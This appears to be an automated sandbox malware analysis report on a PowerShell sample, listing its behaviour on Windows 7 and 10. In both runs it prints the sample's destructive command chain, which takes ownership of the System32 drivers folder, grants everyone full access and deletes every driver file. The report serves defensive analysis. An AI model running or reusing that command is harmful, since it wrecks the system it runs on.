Malware Analysis Report

2024-11-16 12:51

Sample ID 240813-zpaxsszfpp
Target script.ps1
SHA256 cc378cee3365c7a74a92c524e37ba3abfa2638b0365a20fcfe78d77a7a172731
Tags
discovery execution exploit
score
8/10

Table of Contents

Analysis Overview

MITRE ATT&CK

Enterprise Matrix V15

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral2

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
8/10

SHA256

cc378cee3365c7a74a92c524e37ba3abfa2638b0365a20fcfe78d77a7a172731

Threat Level: Likely malicious

The file script.ps1 was found to be: Likely malicious.

Malicious Activity Summary

discovery execution exploit

Possible privilege escalation attempt

Modifies file permissions

Command and Scripting Interpreter: PowerShell

Suspicious behavior: EnumeratesProcesses

Suspicious use of AdjustPrivilegeToken

Suspicious use of WriteProcessMemory

MITRE ATT&CK

Analysis: static1

Detonation Overview

Reported

2024-08-13 20:53

Signatures

N/A

Analysis: behavioral1

Detonation Overview

Submitted

2024-08-13 20:53

Reported

2024-08-13 20:55

Platform

win7-20240704-en

Max time kernel

121s

Max time network

123s

Command Line

powershell.exe -ExecutionPolicy bypass -File C:\Users\Admin\AppData\Local\Temp\script.ps1

Signatures

Possible privilege escalation attempt

exploit
Description Indicator Process Target
N/A N/A C:\Windows\system32\takeown.exe N/A
N/A N/A C:\Windows\system32\icacls.exe N/A

Modifies file permissions

discovery
Description Indicator Process Target
N/A N/A C:\Windows\system32\takeown.exe N/A
N/A N/A C:\Windows\system32\icacls.exe N/A

Command and Scripting Interpreter: PowerShell

execution
Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeTakeOwnershipPrivilege N/A C:\Windows\system32\takeown.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Processes

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell.exe -ExecutionPolicy bypass -File C:\Users\Admin\AppData\Local\Temp\script.ps1

C:\Windows\system32\cmd.exe

"C:\Windows\system32\cmd.exe" /k "takeown /f C:\Windows\System32\drivers\* >nul && icacls C:\Windows\System32\drivers\* /grant everyone:(f) >nul && del /s /q C:\Windows\System32\drivers\* >nul 2>&1 && powershell"

C:\Windows\system32\takeown.exe

takeown /f C:\Windows\System32\drivers\*

C:\Windows\system32\icacls.exe

icacls C:\Windows\System32\drivers\* /grant everyone:(f)

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell

C:\Windows\system32\wbem\WMIADAP.EXE

wmiadap.exe /F /T

Network

N/A

Files

memory/2864-4-0x000007FEF587E000-0x000007FEF587F000-memory.dmp

memory/2864-5-0x000000001B710000-0x000000001B9F2000-memory.dmp

memory/2864-7-0x000007FEF55C0000-0x000007FEF5F5D000-memory.dmp

memory/2864-6-0x0000000002870000-0x0000000002878000-memory.dmp

memory/2864-8-0x000007FEF55C0000-0x000007FEF5F5D000-memory.dmp

memory/2864-9-0x000007FEF55C0000-0x000007FEF5F5D000-memory.dmp

memory/2864-10-0x000007FEF55C0000-0x000007FEF5F5D000-memory.dmp

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

MD5 3462f782ab8c74b75711d783319ada24
SHA1 65622f214bef2cec0dcdec8bf1026899be381eba
SHA256 76ac902daddda6f5d95432723720c94b455f8fb43aa7eee0f7bc62e01a1e15d3
SHA512 c483db648918e7b19a83fc2a2d34765b23ac0eaa6a8b0cef1573c3cafaf7b0702652df5401a2a5b6c29679478a48f952353f0a3467dc55ef86f34affe8e257fa

memory/2864-16-0x000007FEF55C0000-0x000007FEF5F5D000-memory.dmp

Analysis: behavioral2

Detonation Overview

Submitted

2024-08-13 20:53

Reported

2024-08-13 20:55

Platform

win10v2004-20240802-en

Max time kernel

143s

Max time network

145s

Command Line

powershell.exe -ExecutionPolicy bypass -File C:\Users\Admin\AppData\Local\Temp\script.ps1

Signatures

Possible privilege escalation attempt

exploit
Description Indicator Process Target
N/A N/A C:\Windows\system32\icacls.exe N/A
N/A N/A C:\Windows\system32\takeown.exe N/A

Modifies file permissions

discovery
Description Indicator Process Target
N/A N/A C:\Windows\system32\takeown.exe N/A
N/A N/A C:\Windows\system32\icacls.exe N/A

Command and Scripting Interpreter: PowerShell

execution
Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeTakeOwnershipPrivilege N/A C:\Windows\system32\takeown.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Processes

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell.exe -ExecutionPolicy bypass -File C:\Users\Admin\AppData\Local\Temp\script.ps1

C:\Windows\system32\cmd.exe

"C:\Windows\system32\cmd.exe" /k "takeown /f C:\Windows\System32\drivers\* >nul && icacls C:\Windows\System32\drivers\* /grant everyone:(f) >nul && del /s /q C:\Windows\System32\drivers\* >nul 2>&1 && powershell"

C:\Windows\system32\takeown.exe

takeown /f C:\Windows\System32\drivers\*

C:\Windows\system32\icacls.exe

icacls C:\Windows\System32\drivers\* /grant everyone:(f)

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell

Network

Country Destination Domain Proto
US 8.8.8.8:53 217.106.137.52.in-addr.arpa udp
US 8.8.8.8:53 71.159.190.20.in-addr.arpa udp
US 8.8.8.8:53 172.210.232.199.in-addr.arpa udp
US 8.8.8.8:53 95.221.229.192.in-addr.arpa udp
US 8.8.8.8:53 133.211.185.52.in-addr.arpa udp
US 8.8.8.8:53 157.123.68.40.in-addr.arpa udp
US 8.8.8.8:53 206.23.85.13.in-addr.arpa udp
US 8.8.8.8:53 73.144.22.2.in-addr.arpa udp
US 8.8.8.8:53 58.55.71.13.in-addr.arpa udp
US 8.8.8.8:53 22.236.111.52.in-addr.arpa udp
US 8.8.8.8:53 209.205.72.20.in-addr.arpa udp
US 8.8.8.8:53 240.221.184.93.in-addr.arpa udp
US 8.8.8.8:53 tse1.mm.bing.net udp
US 150.171.28.10:443 tse1.mm.bing.net tcp
US 150.171.28.10:443 tse1.mm.bing.net tcp
US 150.171.28.10:443 tse1.mm.bing.net tcp
US 150.171.28.10:443 tse1.mm.bing.net tcp
US 150.171.28.10:443 tse1.mm.bing.net tcp
US 8.8.8.8:53 57.169.31.20.in-addr.arpa udp
US 8.8.8.8:53 10.28.171.150.in-addr.arpa udp

Files

memory/828-0-0x00007FFE45553000-0x00007FFE45555000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_chr0deuf.wuc.ps1

MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

memory/828-1-0x000002718E230000-0x000002718E252000-memory.dmp

memory/828-11-0x00007FFE45550000-0x00007FFE46011000-memory.dmp

memory/828-12-0x00007FFE45550000-0x00007FFE46011000-memory.dmp

memory/4132-22-0x00007FFE45550000-0x00007FFE46011000-memory.dmp

memory/4132-23-0x00007FFE45550000-0x00007FFE46011000-memory.dmp

memory/4132-24-0x000001319B220000-0x000001319B264000-memory.dmp

memory/4132-25-0x00007FFE45550000-0x00007FFE46011000-memory.dmp

memory/4132-26-0x000001319B2F0000-0x000001319B366000-memory.dmp

memory/828-28-0x00007FFE45550000-0x00007FFE46011000-memory.dmp

memory/828-29-0x00007FFE45550000-0x00007FFE46011000-memory.dmp

memory/4132-30-0x00007FFE45550000-0x00007FFE46011000-memory.dmp